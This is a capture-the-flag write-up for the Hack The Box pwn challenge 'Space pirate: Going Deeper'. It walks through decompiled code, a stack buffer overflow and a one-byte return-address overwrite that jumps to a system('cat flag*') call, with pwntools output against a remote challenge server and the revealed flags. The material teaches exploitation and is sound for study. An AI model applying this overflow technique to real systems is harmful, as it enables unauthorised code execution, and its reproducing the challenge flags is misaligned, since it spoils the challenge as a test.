Space pirate: Going Deeper
6 minutes to read
We are given a 64-bit binary called sp_going_deeper
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
If we run it, we will see three options:
$ ./sp_going_deeper
Trying to leak information from the pc.. 🖥️
____________________________________________________
/ \
| _____________________________________________ |
| | | |
| | goldenfang@d12:$ history | |
| | 1 ls | |
| | 2 mv secret_pass.txt flag.txt | |
| | 3 chmod -x missile_launcher.py | |
| | 4 ls | |
| | 5 history | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| |_____________________________________________| |
| |
\_____________________________________________________/
\_______________________________________/
_______________________________________________
_-' .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-. --- `-_
_-'.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.--. .-.-.`-_
_-'.-.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-`__`. .-.-.-.`-_
_-'.-.-.-.-. .-----.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-----. .-.-.-.-.`-_
_-'.-.-.-.-.-. .---.-. .-----------------------------. .-.---. .---.-.-.-.`-_
:-----------------------------------------------------------------------------:
`---._.-----------------------------------------------------------------._.---'
[*] Safety mechanisms are enabled!
[*] Values are set to: a = [1], b = [2], c = [3].
[*] If you want to continue, disable the mechanism or login as admin.
1. Disable mechanisms ⚙️
2. Login ✅
3. Exit 🏃
>>
At this point, let’s open the binary in Ghidra to analyze decompiled source code in C. This is the main
function:
undefined8 main() {
setup();
banner();
puts("\x1b[1;34m");
admin_panel(1, 2, 3);
return 0;
}
And this function calls admin_panel
using parameters 1
, 2
and 3
:
void admin_panel(long param_1, long param_2, long param_3) {
int iVar1;
char local_38[40];
long local_10;
local_10 = 0;
printf("[*] Safety mechanisms are enabled!\n[*] Values are set to: a = [%x], b = [%ld], c = [%ld]. \n[*] If you want to continue, disable the mechanism or login as admin.\n", param_1, param_2, param_3);
while (((local_10 != 1 && (local_10 != 2)) && (local_10 != 3))) {
printf(&DAT_004014e8);
local_10 = read_num();
}
if (local_10 == 1) {
printf("\n[*] Input: ");
} else {
if (local_10 != 2) {
puts("\n[!] Exiting..\n");
/* WARNING: Subroutine does not return */
exit(0x1b39);
}
printf("\n[*] Username: ");
}
read(0, local_38, 0x39);
if (((param_1 == 0xdeadbeef) && (param_2 == 0x1337c0de)) && (param_3 == 0x1337beef)) {
iVar1 = strncmp("DRAEGER15th30n34nd0nly4dm1n15tr4t0R0fth15sp4c3cr4ft", local_38, 0x34);
if (iVar1 != 0) {
printf("\n%s[+] Welcome admin! The secret message is: ", &DAT_00400c38);
system("cat flag*");
goto LAB_00400b38;
}
}
printf("\n%s[-] Authentication failed!\n", &DAT_00400c40);
LAB_00400b38:
puts("\n[!] For security reasons, you are logged out..\n");
return;
}
The first thing to notice is that we need to use the first or the second option to reach the point where system("cat flag*")
is executed. For that, we need to fail in a string comparisong with a hard-coded password (notice that it checks that iVar1 != 0
). Moreover, the parameters passed to the function must be 0xdeadbeef
, 0x1337c0de
and 0x1337beef
(and not 1
, 2
, 3
).
There exists a Buffer Overflow vulnerability. Notice that local_38
is a character array of 40 bytes, and the program reads up to 0x39
(57) bytes. Hence, we are able to overwrite values on the stack (for instance, the return address).
The idea is to overwrite the return address with the address of system("cat flag*")
(actually, one or two addresses above), so that we can redirect code execution and read the flag. Let’s try to crash the program:
$ ./sp_going_deeper
...
[*] Safety mechanisms are enabled!
[*] Values are set to: a = [1], b = [2], c = [3].
[*] If you want to continue, disable the mechanism or login as admin.
1. Disable mechanisms ⚙️
2. Login ✅
3. Exit 🏃
>> 1
[*] Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaa
[-] Authentication failed!
[!] For security reasons, you are logged out..
zsh: segmentation fault (core dumped) ./sp_going_deeper
It crashes, which means that the return address got modified and the execution flow broke. Let’s use GDB to see how we can control the return address:
$ gdb -q sp_going_deeper
Reading symbols from sp_going_deeper...
(No debugging symbols found in sp_going_deeper)
gef➤ disassemble admin_panel
Dump of assembler code for function admin_panel:
...
0x0000000000400aba <+209>: call 0x400730 <read@plt>
0x0000000000400abf <+214>: mov eax,0xdeadbeef
0x0000000000400ac4 <+219>: cmp QWORD PTR [rbp-0x38],rax
0x0000000000400ac8 <+223>: jne 0x400b20 <admin_panel+311>
0x0000000000400aca <+225>: cmp QWORD PTR [rbp-0x40],0x1337c0de
0x0000000000400ad2 <+233>: jne 0x400b20 <admin_panel+311>
0x0000000000400ad4 <+235>: cmp QWORD PTR [rbp-0x48],0x1337beef
0x0000000000400adc <+243>: jne 0x400b20 <admin_panel+311>
0x0000000000400ade <+245>: lea rax,[rbp-0x30]
0x0000000000400ae2 <+249>: mov edx,0x34
0x0000000000400ae7 <+254>: mov rsi,rax
0x0000000000400aea <+257>: lea rdi,[rip+0xa67] # 0x401558
0x0000000000400af1 <+264>: call 0x4006e0 <strncmp@plt>
0x0000000000400af6 <+269>: test eax,eax
0x0000000000400af8 <+271>: je 0x400b20 <admin_panel+311>
0x0000000000400afa <+273>: lea rsi,[rip+0x137] # 0x400c38
0x0000000000400b01 <+280>: lea rdi,[rip+0xa88] # 0x401590
0x0000000000400b08 <+287>: mov eax,0x0
0x0000000000400b0d <+292>: call 0x400710 <printf@plt>
0x0000000000400b12 <+297>: lea rdi,[rip+0xaa5] # 0x4015be
0x0000000000400b19 <+304>: call 0x400700 <system@plt>
...
End of assembler dump.
I will be using address 0x400afa
. In order to send this address, it must be formatted as bytes (little-endian format). Let’s exploit it locally:
$ gdb -q sp_going_deeper
Reading symbols from sp_going_deeper...
(No debugging symbols found in sp_going_deeper)
gef➤ run
Starting program: ./sp_going_deeper
...
[*] Safety mechanisms are enabled!
[*] Values are set to: a = [1], b = [2], c = [3].
[*] If you want to continue, disable the mechanism or login as admin.
1. Disable mechanisms ⚙️
2. Login ✅
3. Exit 🏃
>> 1
[*] Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[-] Authentication failed!
[!] For security reasons, you are logged out..
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400b41 in admin_panel ()
gef➤ x $rsp
0x7fffffffe600: 0x00400ba0
gef➤ p $rip
$1 = (void (*)()) 0x400b41 <admin_panel+344>
This is not happening as expected since we don’t see the string of A
in the stack. Let’s use another letter, for example B
, just in case:
gef➤ x $rsp
0x7fffffffe600: 0x00400ba0
gef➤ p $rip
$2 = (void (*)()) 0x400b42 <admin_panel+345>
Can you see the differences? The first $rip
was modified to 0x400b41
, and the second one to 0x400b42
. This means that we only have one byte overflow, but it is enough to redirect code execution. For instance, we can point $rip
to 0x400b01
(entering \x01
). Let’s use Python and pwntools
to develop the exploit. We can test it locally:
$ python3 solve.py
[*] './sp_going_deeper'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
[+] Starting local process './sp_going_deeper': pid 39473
[+] Flag: HTB{f4k3_fl4g_f0r_t35t1ng}
[*] Stopped process './sp_going_deeper' (pid 39473)
And it works, so let’s try in remote:
$ python3 solve.py 142.93.40.15:32536
[*] './sp_going_deeper'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
[+] Opening connection to 142.93.40.15 on port 32536: Done
[+] Flag: HTB{d1g_1n51d3..u_Cry_cry_cry}
[*] Closed connection to 142.93.40.15 port 32536
The full exploit script can be found in here: solve.py
.